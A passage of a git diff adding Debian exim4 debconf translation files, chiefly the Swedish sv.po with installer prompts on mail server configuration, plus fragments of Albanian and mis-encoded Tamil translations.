+#~ "Të lutem shkruaj këtu rrjetet e kompjuterave lokalë për të cilët pranon "
+#~ "të lësh postën."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Këtu duhet përfshirë një listë kompjuterash që do të na përdorin si "
+#~ "\"strehues të zgjuar\"."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Duhet të dopjosh kolonat në adresat IPv6 (p.sh. 5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Shkruaj një listë adresash IP në dëgjim të ndarë nga dy pika. Duhet të "
+#~ "dopjosh dy pikat në adresat e llojit IPv6 (p.sh. 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Duke konfiguruar Exim v4 (exim4-config)"
diff --git a/debian/po/sv.po b/debian/po/sv.po
new file mode 100644
index 0000000..34aed05
--- /dev/null
+++ b/debian/po/sv.po
@@ -0,0 +1,747 @@
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-08-02 19:31+0100\n"
+"Last-Translator: Daniel Nylander <po@danielnylander.se>\n"
+"Language-Team: Swedish <debian-l10n-swedish@lists.debian.org>\n"
+"Language: sv\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ta bort olevererade meddelanden i kökatalogen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Det finns e-postmeddelanden i Exims kökatalog /var/spool/exim4/input som "
+"ännu inte har levererats. Borttagning av Exim gör att de finns kvar men blir "
+"inte levererade förrän Exim har installerats om."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Om det här alternativet inte väljs kommer kökatalogen att behållas och gör "
+"att meddelanden i kön kan levereras vid ett senare tillfälle, efter att Exim "
+"har installerats om."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Konfigurera om exim4-config istället för det här paketet"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 har fått sin konfiguration flyttad till ett eget paket, exim4-config. "
+"Använd \"dpkg-reconfigure exim4-config\" om du vill konfigurera om Exim4."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "internetvärd; e-post skickas och tas emot direkt med SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "e-post skickas av \"smarthost\"; tas emot via SMTP eller fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "e-post skickas av \"smarthost\"; ingen lokal e-post"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "endast lokal leverans; inte del av ett nätverk"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "ingen konfigurering just nu"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Allmän typ av e-postkonfiguration:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Välj den konfigurationstyp för e-postservern som bäst uppfyller dina behov."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"System med dynamiska IP-adresser, inklusive system med uppringd anslutning, "
+"bör vanligtvis konfigureras att skicka all utgående e-post till en annan "
+"maskin, en så kallad \"smarthost\" (smart värd), för leverans därför att "
+"många mottagande system på Internet blockerar inkommande e-post från "
+"dynamiska IP-adresser som ett skydd mot skräppost."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Ett system med en dynamisk IP-adress kan ta emot sin egen e-post, eller "
+"lokal leverans kan fullständigt inaktiveras (förrutom e-post till root och "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ska e-postsystemet verkligen lämnas okonfigurerat?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Till dess att ditt e-postsystem är konfigurerat kommer det att vara trasigt "
+"och kan inte användas. Konfigurationen kan göras senare, antingen manuellt "
+"eller genom att köra \"dpkg-reconfigure exim4-config\" som root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Systemets e-postnamn:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Alternativet \"mail name\" är domännamnet som används för att \"qualify\" e-"
+"postadresser utan ett domännamn."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Det här namnet kommer även att användas av andra program. Det bör vara det "
+"fullständiga domännamnet (FQDN) för maskinen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Till exempel om en e-postadress på den lokala värden är foo@domän.se blir "
+"domän.se det korrekta värdet för det här alternativet."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Det här namnet kommer inte att synas i From:-rubrikerna för utgående "
+"meddelanden om adressomskrivning är aktiverat."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Andra destinationer för vilka e-post accepteras:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Ange en semikolonavgränsad lista över mottagande domäner för vilka denna "
+"maskin ska betrakta sig själv som den slutgiltiga destinationen. Dessa "
+"domäner kallas vanligtvis för \"local domains\". Det lokala värdnamnet "
+"(${fqdn}) och \"localhost\" läggs alltid till i listan som anges här."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Som standard behandlas alla lokala domäner lika. Om både a.exempel och b."
+"exempel är lokala domäner, kommer acc@a.exempel och acc@b.exempel att "
+"levereras till samma slutgiltiga destination. Om olika domännamn ska "
+"behandlas olika är det nödvändigt att redigera konfigurationsfilerna efteråt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domäner för vilka e-post ska vidarebefordras:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Ange en semikolonavgränsad lista över mottagardomäner för vilka det här "
+"systemet ska vidarebefordra e-post, till exempel som en reserv-MX eller e-"
+"postgateway. Det här betyder att det här systemet kommer att acceptera e-"
+"post för dessa domäner från hela Internet och leverera dem enligt de lokala "
+"leveransreglerna."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Nämn inga lokala domäner här. Jokertecken får användas."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Maskiner för vilka e-post ska vidarebefordras:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Ange en semikolonavgränsad lista över IP-adressintervall för vilka det här "
+"systemet ska godtyckligt vidarebefordra e-post, alltså fungera som en "
+"\"smarthost\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Du ska använda standardformatet för adress/prefix (t.ex. 194.222.242.0/24 "
+"eller 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Om det här systemet inte ska vara en \"smarthost\" för någon annan värd, "
+"lämna det här blankt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Synligt domännamn för lokala användare:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Alternativet att dölja det lokala e-postnamnet i utgående e-post blev "
+"aktiverat. Det är därför nödvändigt att ange domännamnet som det här "
+"systemet ska använda för domändelen av de lokala användarnas "
+"avsändaradresser."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-adress eller värdnamn till utgående \"smarthost\":"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Ange IP-adressen eller värdnamnet på en e-postserver som det här systemet "
+"ska använda som utgående \"smarthost\". Om denna \"smarthost\" endast "
+"accepterar din e-post på en annan port än TCP/25, lägg till två kolontecken "
+"och portnumret (till exempel, smarthost.exempel::587 eller "
+"192.168.254.254::2525). Kolontecken i IPv6-adresser behöver dubbleras."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Om \"smarthost\" kräver autentisering, referera till den Debian-specifika "
+"README-filen i /usr/share/doc/exim4-base för information om hur man "
+"konfigurerar SMTP-autentisering."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Mottagare för e-post till root och postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"E-post till \"postmaster\", \"root\" och andra systemkonton behöver "
+"omdirigeras till användarkontot som den faktiska systemadministratören "
+"använder."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Om det här värden lämnas blank, kommer sådan e-post att sparasi /var/mail/"
+"mail, vilket inte rekommenderas."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Observera att e-post till postmaster bör läsas på systemet till vilket den "
+"var dirigerad, istället för att vidarebefordras någon annanstans, så "
+"(åtminstone en av) användarna som listas här inte ska vidarebefordra sin e-"
+"post från denna maskin. Använd prefixet \"real-\" för att tvinga fram lokal "
+"leverans."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Flera användarnamn behöver avgränsas med blanksteg."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-adresser att lyssna på efter inkommande SMTP-anslutningar:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Ange en semikolonavgränsad lista över IP-adresser. Exim SMTP-lyssnardemonen "
+"kommer att lyssna på alla IP-adresser som listas här."
+
+# FIXME: Bättre översättning av "network interfaces" krävs. "Nätverkskort"
+# används på andra ställen, men här funkar det inte.
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Om du lämnar det här värdet tomt kommer Exim att lyssna efter anslutningar "
+"på alla tillgängliga nätverksgränssnitt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Om det här systemet endast tar emot e-post direkt från lokala tjänster (och "
+"inte från andra värdar) föreslås det att förbjuda externa anslutningar till "
+"den lokala Exim-demonen. Sådan tjänster inkluderar e-postprogram (MUA) som "
+"endast pratar med localhost såväl som fetchmail. Externa anslutningar är "
+"omöjliga om 127.0.0.1 anges här eftersom det kommer att inaktivera lyssning "
+"på publika nätverksgränssnitt."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Håll antalet DNS-frågor till ett minimum (ring-vid-behov)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"I normalt driftläge gör Exim DNS-uppslagningar vid uppstart, och vid "
+"mottagande och leverans av meddelanden. Detta görs i loggningssyfte samt för "
+"att hålla nere antalet hårdkodade värden i konfigurationen."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Om detta system inte har en permanent DNS-namnserveråtkomst tillgänglig hela "
+"tiden (till exempel om dess Internet-åtkomst är en uppringd förbindelse med "
+"ring-vid-behov), så kan detta få oönskade följder. Till exempel att starta "
+"upp Exim eller att köra igenom kön (även när inga meddelanden väntar) kunde "
+"orsaka en kostsam uppringning."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Det här alternativet bör väljas om det här systemet använder ring-vid-behov. "
+"Om det har permanent anslutning till Internet, bör det här alternativet "
+"inaktiveras."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "E-postserverkonfiguration"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Dela konfigurationen i mindre filer?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debians exim4-paket kan antingen använda \"unsplit configuration\", en ensam "
+"monolitisk fil (/etc/exim4/exim4.conf.template) eller \"split configuration"
+"\", där de faktiska Exim-konfigurationfilerna byggs från cirka 50 mindre "
+"filer under /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Odelad konfiguration är bättre lämpad för större ändringar och är generellt "
+"mer stabil, medan delad konfiguration erbjuder ett smidigt sätt att göra "
+"mindre ändringar men är mer bräcklig och kan gå sönder om vårdslösa "
+"ändringar görs."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"En mer detaljerad diskussion om delning eller inte av konfigurationen kan "
+"hittas i den Debian-specifika README-filen i /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Dölj lokalt e-postnamn i utgående e-post?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Rubrikerna på utgående e-post kan skrivas om för att det ska se ut som om "
+"den har skapats på ett annat system. Om det här alternativet väljs kommer "
+"\"${mailname}\", \"localhost\" och \"${dc_other_hostnames}\" i From, Reply-"
+"To, Sender och Return-Path att skrivas om."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox-format i /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-format i hemkatalog"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Leveransmetod för lokal e-post:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim kan lagra lokalt levererad e-post i olika format. De mest vanliga "
+"sätten är mbox och Maildir. Mbox använder en enda fil för hela e-postmappen "
+"och lagras under /var/mail. Med formatet Maildir lagras meddelanden var för "
+"sig i separata filer under ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Observera dock att de flesta e-postverktyg i Debian förväntar som standard "
+"att den lokala leveransmetoden är mbox."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Flytta olevererade e-postmeddelanden från exim 3 till exim4:s kökatalog?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Det finns olevererade e-postmeddelanden i exim 3:s (eller exim-tls 3) "
+#~ "kökatalog /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Välj det här alternativet för att flytta dessa meddelanden till exim4:s "
+#~ "kökatalog (/var/spool/exim4/input/) där de kommer att hanteras av exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Det här fungerar endast en väg: Exim4 kan hantera en exim 3-kö men inte "
+#~ "tvärtom. Om du inte väljer det här alternativet kommer du att behöva "
+#~ "flytta meddelandena själv eller så kommer de aldrig att levereras."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Lämna den här listan blank innebär att Exim inte levererar lokalt."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Var medveten om att detta enbart funkar ena vägen; exim4 kan hantera exim"
+#~ "(v3):s kökatalog men det omvända gäller inte."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Flytta e-postmeddelandena endast om du inte planerar att gå tillbaka till "
+#~ "exim(v3). Annars bör e-posten inte flyttas nu utan manuellt när du har "
+#~ "konverterat ditt system."
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Om det finns några fler så ange dem här, åtskilda med kolon. Du kan lämna "
+#~ "det här tomt om det inte finns några."
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr "Ange domänerna som du accepterar att vidarebefordra e-post för."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Sådana domäner är domäner åt vilka du är beredd att acceptera e-post från "
+#~ "var som helst på internet. Ange inte lokala domäner här."
+
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domänerna du anger ska avgränsas med kolon. Jokertecken kan användas."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Eftersom du valde att dölja det lokala e-postnamnet i utgående e-post så "
+#~ "måste du ange domännamnet som ska användas för e-post från lokala "
+#~ "användare. Detta är vanligtvis den maskin som du tar emot din e-post på."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Var kommer dina användare att läsa sin e-post?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Maskin som hanterar utgående e-post för denna värd (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Ange värdnamnet på den maskin som utgående e-post skickas till."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Aktivera denna funktion om du använder ring-vid-behov (Dial-on-demand). "
+#~ "Annars ska den avaktiveras."
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Välj den konfigurationstyp som bäst uppfyller dina behov."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Om du är osäker så ska du inte använda delad konfiguration."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "konvertera manuellt från en hemsnickrad Exim v3-konfiguration"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Konfigurera Exim4 manuellt?"
diff --git a/debian/po/ta.po b/debian/po/ta.po
new file mode 100644
index 0000000..78369ed
--- /dev/null
+++ b/debian/po/ta.po
@@ -0,0 +1,628 @@
+# translation of exim4_debian_po_ta.po to TAMIL
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# drtvasudevan <agnihot3@gmail.com>, 2007.
+# Dr.T.Vasudevan <agnihot3@gmail.com>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian_po_ta\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-08 11:31+0530\n"
+"Last-Translator: Dr.T.Vasudevan <agnihot3@gmail.com>\n"
+"Language-Team: TAMIL <ubuntu-l10n-tam@lists.ubuntu.com>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "கணà¯à®Ÿà¯ அடைவிலிரà¯à®¨à¯à®¤à¯ சேரà¯à®ªà¯à®ªà®¿à®•à¯à®•à®ªà¯ படாத அஞà¯à®šà®²à¯à®•à®³à¯ˆ நீகà¯à®•à®µà®¾? "
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"எகà¯à®¸à¯ இம௠கணà¯à®Ÿà¯ அடைவ௠/var/spool/exim4/input இல௠இத௠வரை சேரà¯à®ªà¯à®ªà®¿à®•à¯à®•à®ªà¯ படாத சில "
+"அஞà¯à®šà®²à¯à®•à®³à¯ உளà¯à®³à®©. எகà¯à®¸à¯ இம௠஠நீகà¯à®•à¯à®µà®¤à®¾à®²à¯ அவை எகà¯à®¸à¯ இம௠஠மீணà¯à®Ÿà¯à®®à¯ நிறà¯à®µà¯à®®à¯ வரை சேரà¯à®ªà¯à®ªà®¿à®•à¯à®•à®ªà¯ "
+"படாமலே இரà¯à®•à¯à®•à¯à®®à¯. "
+
+#. Type: boolean
+#. Description
